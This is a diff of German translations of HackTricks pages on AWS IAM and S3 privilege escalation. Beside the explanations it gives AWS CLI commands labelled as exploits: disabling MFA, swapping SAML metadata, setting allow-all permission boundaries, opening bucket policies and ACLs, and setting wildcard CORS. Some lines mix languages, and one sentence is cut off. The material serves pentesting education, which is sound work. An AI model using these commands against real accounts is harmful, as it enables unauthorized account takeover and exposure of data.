**Auswirkung:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Ermöglicht das Ändern des assume role policy document einer Rolle, wodurch das Annehmen der Rolle und die Übernahme ihrer zugehörigen Berechtigungen möglich wird.
|
||||
Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle und damit das Übernehmen der Rolle sowie deren zugehöriger Berechtigungen.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
|
||||
Wenn die Richtlinie wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -169,19 +169,19 @@ Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt,
|
||||
|
||||
Ermöglicht das Hochladen eines SSH-öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
|
||||
|
||||
**Exploit für SSH Key Upload:**
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit für MFA-Deaktivierung:**
|
||||
**Exploit zur Deaktivierung von MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Auswirkung:** Indirekte privilege escalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.
|
||||
**Impact:** Indirekte privilege escalation durch das Aktivieren von CodeCommit-Zugriff oder das Deaktivieren des MFA-Schutzes.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Ermöglicht die Resynchronisierung eines MFA-Geräts und kann durch Manipulation des MFA-Schutzes potenziell zu einer indirekten privilege escalation führen.
|
||||
Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirekter privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.
|
||||
|
||||
**Bash-Befehl:**
|
||||
```bash
|
||||
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Mit diesen Berechtigungen kannst du **die XML-Metadaten der SAML-Verbindung ändern**. Dann könntest du die **SAML federation** missbrauchen, um einen **login** mit jeder **role, die ihr vertraut**, durchzuführen.
|
||||
Mit diesen Berechtigungen kannst du die **XML-Metadaten der SAML-Verbindung ändern**. Anschließend könntest du die **SAML federation** missbrauchen, um dich mit jeder **role, die der Verbindung vertraut**, einzuloggen.
|
||||
|
||||
Beachte, dass dadurch **legit users won't be able to login**. Du könntest jedoch das XML erhalten, es durch dein eigenes ersetzen, login und die vorherige Konfiguration wiederherstellen.
|
||||
Beachte, dass dabei **legit users sich nicht einloggen können**. Du kannst jedoch das XML erhalten, dein eigenes einsetzen, dich einloggen und die vorherige Konfiguration wiederherstellen.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Ein Tool, das SAML metadata generieren kann und sich mit einer angegebenen role anmelden
|
||||
> TODO: Ein Tool, das SAML-Metadaten erzeugen und sich mit einer angegebenen Rolle anmelden kann
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Unsicher darüber) Wenn ein attacker diese **permissions** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in allen roles anzumelden, die dem provider vertrauen.
|
||||
(Unsicher darüber) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen und sich damit in allen Rollen anmelden, die dem Provider vertrauen.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Diese Berechtigung ermöglicht einem attacker, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise dessen Privilegien zu eskalieren, indem Aktionen erlaubt werden, die normalerweise durch die bestehenden Berechtigungen eingeschränkt sind.
|
||||
Diese permissions erlauben einem attacker, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise dessen privileges zu eskalieren, indem es ihm ermöglicht, actions auszuführen, die normalerweise durch seine bestehenden permissions eingeschränkt sind.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
## Referenzen
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Ein Akteur mit iam:PutRolePermissionsBoundary kann für eine bestehende Rolle eine Berechtigungsgrenze festlegen. Das Risiko entsteht, wenn diese Person die Boundary einer Rolle ändert: Sie kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder — falls sie eine zu großzügige Boundary anhängt — die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## Quellen
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen für relevante Buckets könnte Ressourcen übernehmen und Privilegien eskalieren.
|
||||
Ein Angreifer mit diesen Berechtigungen für interessante Buckets könnte Ressourcen kapern und Privilegien eskalieren.
|
||||
|
||||
Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit folgender Policy gewährt werden:
|
||||
Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation-Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Deployment kapern. Der Zugriff kann mit folgender Richtlinie gewährt werden:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,30 +34,29 @@ Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudform
|
||||
]
|
||||
}
|
||||
```
|
||||
Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment, in dem die Template in den bucket hochgeladen wird, bis zum Moment, in dem die Template bereitgestellt wird**. Ein Angreifer könnte einfach eine **lambda function** in seinem Account erstellen, die **ausgelöst wird, wenn eine bucket-Notification gesendet wird**, und den **Inhalt** dieses **buckets** kapert.
|
||||
Und der hijack ist möglich, weil es ein **kleines Zeitfenster vom Moment, in dem die template in den bucket hochgeladen wird, bis zu dem Moment, in dem die template deployed wird** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Konto erstellen, die **triggered, wenn eine bucket notification gesendet wird**, und den **content** dieses **bucket** hijacks.
|
||||
|
||||
.png>)
|
||||
|
||||
Das Pacu-Modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kann verwendet werden, um diesen Angriff zu automatisieren.\
|
||||
Für weitere Informationen siehe die Originalforschung: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
Für mehr Informationen siehe die Original-Analyse: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Das sind die Berechtigungen, um **Objekte in S3 zu lesen und hochzuladen**. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um **Konfigurationsdateien** zu speichern.\
|
||||
Ein Angreifer mit **Lesezugriff** darauf könnte **sensible Informationen** finden.\
|
||||
Ein Angreifer mit **Schreibzugriff** könnte die Daten **manipulieren, um einen Service zu missbrauchen und versuchen, Privilegien zu eskalieren**.\
|
||||
Dies sind die Berechtigungen, um **Objekte in S3 zu lesen und hochzuladen**. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um **config files** abzulegen.\
|
||||
Ein Angreifer mit **read access** darauf könnte **sensitive information** darin finden.\
|
||||
Ein Angreifer mit **write access** könnte **die Daten manipulieren, um einen Dienst zu missbrauchen und versuchen, privileges zu escalaten**.\
|
||||
Hier einige Beispiele:
|
||||
|
||||
- Wenn eine EC2-Instanz die **user data in einem S3 bucket** speichert, könnte ein Angreifer diese ändern, um **beliebigen Code innerhalb der EC2-Instanz auszuführen**.
|
||||
- Wenn eine EC2-Instanz die **user data in einem S3 bucket** speichert, könnte ein Angreifer diese ändern, um **arbitrary code innerhalb der EC2-Instanz auszuführen**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
Es ist sehr üblich, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files in den Blob-Storage von Cloud-Providern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine State-Datei ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Normalerweise hat jedes AWS-Konto so einen Bucket, um die State-Dateien zu speichern, die den Zustand des Kontos aufzeigen.
|
||||
Auch in realen Accounts haben in der Regel fast immer alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
|
||||
Es ist sehr verbreitet, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files im Blob-Storage von Cloud-Anbietern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine state file ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Üblicherweise hat jedes AWS-Konto einen solchen Bucket, um die state files zu speichern, die den Zustand des Kontos anzeigen. Außerdem haben in realen Konten fast immer alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
|
||||
|
||||
Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von `terraform` erreichen kannst – meist `AdministratorAccess`, was dich zum Admin des Cloud-Accounts macht. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` legitime Ressourcen löschen lässt.
|
||||
Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von `terraform` erlangen kannst — meist `AdministratorAccess`, wodurch du zum Administrator des Cloud-Kontos wirst. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` dazu bringst, legitime Ressourcen zu löschen.
|
||||
|
||||
Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terraform Security*-Seite für direkt verwendbaren Exploit-Code:
|
||||
Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der Seite *Terraform Security* für direkt nutzbaren Exploit-Code:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -65,7 +64,7 @@ Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terrafo
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Ein Angreifer, der **aus demselben Account** stammen muss (ansonsten wird der Fehler `The specified method is not allowed will trigger` ausgelöst), kann sich mit dieser Berechtigung zusätzliche Rechte auf den/die bucket(s) gewähren, die ihm das Lesen, Schreiben, Ändern, Löschen und Offenlegen von Buckets erlauben.
|
||||
Ein Angreifer, der **aus demselben account** stammen muss — andernfalls tritt der Fehler `The specified method is not allowed` auf — kann sich mit dieser Berechtigung selbst weitere Rechte auf den Bucket(s) gewähren, die es ihm erlauben, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Ein attacker könnte diese Berechtigungen missbrauchen, um **sich mehr Zugriff** auf bestimmte buckets zu verschaffen.\
|
||||
Beachte, dass der attacker nicht aus demselben account stammen muss. Außerdem the write access
|
||||
Ein attacker könnte diese Berechtigungen missbrauchen, um **grant him more access** für bestimmte buckets zu erhalten.\
|
||||
Beachte, dass der attacker nicht aus demselben account stammen muss. Außerdem ermöglicht der write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Ein attacker könnte diese permissions missbrauchen, um sich mehr Zugriff auf bestimmte objects in buckets zu verschaffen.
|
||||
Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Objekte in Buckets zu verschaffen.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
Von einem Angreifer mit diesen Berechtigungen wird erwartet, dass er einer bestimmten Objektversion eine ACL zuweisen kann.
|
||||
Ein Angreifer mit diesen Berechtigungen sollte in der Lage sein, eine Acl auf eine bestimmte Objektversion zu setzen.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
Ein Angreifer mit der Berechtigung s3:PutBucketCORS kann die CORS (Cross-Origin Resource Sharing)-Konfiguration eines Buckets ändern, die steuert, welche Webdomains auf dessen Endpunkte zugreifen dürfen. Setzt er eine zu großzügige Richtlinie, könnte jede Website direkte Anfragen an den Bucket senden und Antworten im Browser auslesen.
|
||||
|
||||
Das bedeutet, dass ein authentifizierter Benutzer einer vom Bucket gehosteten Webanwendung, wenn er die Website des Angreifers besucht, potenziell ausgenutzt werden kann: Der Angreifer könnte die permissive CORS-Richtlinie ausnutzen und je nach Anwendung auf Profildaten des Benutzers zugreifen oder sogar das Benutzerkonto übernehmen.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user